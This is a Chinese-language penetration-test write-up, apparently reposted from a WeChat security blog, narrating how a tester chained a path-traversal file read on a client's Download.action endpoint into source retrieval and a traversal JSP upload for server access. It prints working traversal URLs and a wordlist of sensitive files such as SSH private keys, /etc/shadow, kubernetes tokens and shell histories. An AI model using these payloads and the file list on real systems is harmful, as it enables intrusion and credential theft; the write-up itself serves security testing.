从任意文件读取到代码审计获取权限

从任意文件读取到代码审计获取权限

记录一次给客户日常安全测试过程中,通过一个任意文件读取漏洞到最后获取到服务器权限过程,文章中涉及相关都打码,避免泄露客户信息。

任意文件读取

在使用yakit抓包测试时,发现了一处URL链接 Download.action?filename=xxx.pdf&filepath=/Uploads/2020/xxx.pdf

猜测可能会存在文件读取漏洞,并在filenamefilepath参数 fuzz

filename=/etc/passwd
filename=../../../etc/passwd
filepath=../../../etc/passwd

都没有成功获取到想要/etc/passwd 文件内容,一直fuzz 参数,在 filepath中带上 /Uploads/2020/ 路径才可以跨目录读取/etc/passwd文件。

Download.action?filename=&filepath=/Uploads/2020/../../../../../../etc/passwd

从任意文件读取到代码审计获取权限

通过读取/etc/shadow 知道该接口读取文件的权限是root的,接下来直接跑字典就Ok了。

yakit搭配字典批量跑可能存在的文件,一般自用的Linux字典如下:

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/plocate/plocate.db
/var/lib/mlocate.db
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/fstab
/etc/host.conf
/var/log/xferlog
/var/log/cron
/etc/(cron.d/|crontab)
/var/log/secure
/etc/rc.local
/etc/sysctl.conf
/var/log/syslog
/etc/environment
/etc/inputrc
/etc/default/useradd
/etc/login.defs
/etc/skel
/sbin/nologin
/var/log/message
/etc/httpd/conf/httpd.conf
/etc/mtab    
/etc/ld.so.conf
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history    
/root/.mysql_history
/porc/config.gz
/var/lib/mlocate/mlocate.db    
/porc/self/cmdline
tomcat/conf/server.xml
tomcat/webapps/ROOT/WEB-INF/classes/database.properties
tomcat/conf/tomcat-users.xml
/var/lib/mlocate/mlocate.db

通过 /var/lib/mlocate/mlocate.db文件获取到服务器所有的目录和文件路径

Download.action?filename=&filepath=/2022/../../../../../../var/lib/mlocate/mlocate.db

并且从mlocate.db中发现运维人员打包的网站源码bak.zip

使用文件读取漏洞将bak.zip 读取下载下来

代码审计-任意文件上传漏洞

有代码了,直接开始审计 ,通过关键字搜索 filepath,upload等,发现到一个UploadFile 方法存在任意文件上传

代码中没有任何对文件上传格式和内容的限制,直接上传jsp

从任意文件读取到代码审计获取权限

高高兴兴的构造接口上传jsp,也成功上传了,路径也返回,访问jsp文件路径时竟然提示没有权限跳转登录页面了,哈??

测试上传txt,html格式都能正常访问,唯独jsp文件有问题,猜测对 /uploads/ 目录中的 jsp文件进行了限制

接着研究代码,filePath可控,我们将上传的文件跨目录上传,将jsp 上传到其他目录试试

从任意文件读取到代码审计获取权限

所以我找一个help目录,filePath 上传文件路径可控,使用../跨目录上传到help目录下,成功上传返回路径

从任意文件读取到代码审计获取权限

从任意文件读取到代码审计获取权限

写报告给客户了,安服仔下班下班。


总结

  • 从任意文件读取漏洞到获取代码,这一过程并不是很顺利,也花了好多时间;在代码审计时,代码数量太多了,只能通过关键字方式来查找,效率太低了。

  • 在代码审计到文件上传时,还是开心,但是jsp访问被限制时,想放弃了时发现filepath路径可控,才想起来跨目录上传jsp,最后成功拿下机器。


附上微信群,交流技术和划水聊天等,公众号发送关键字 “ 加群 ” 可获取二维码或者扫描下面二维码。

从任意文件读取到代码审计获取权限



原文始发于微信公众号(安全逐梦人):从任意文件读取到代码审计获取权限

版权声明:admin 发表于 2024年7月20日 下午10:34。
转载请注明:从任意文件读取到代码审计获取权限 | CTF导航

相关文章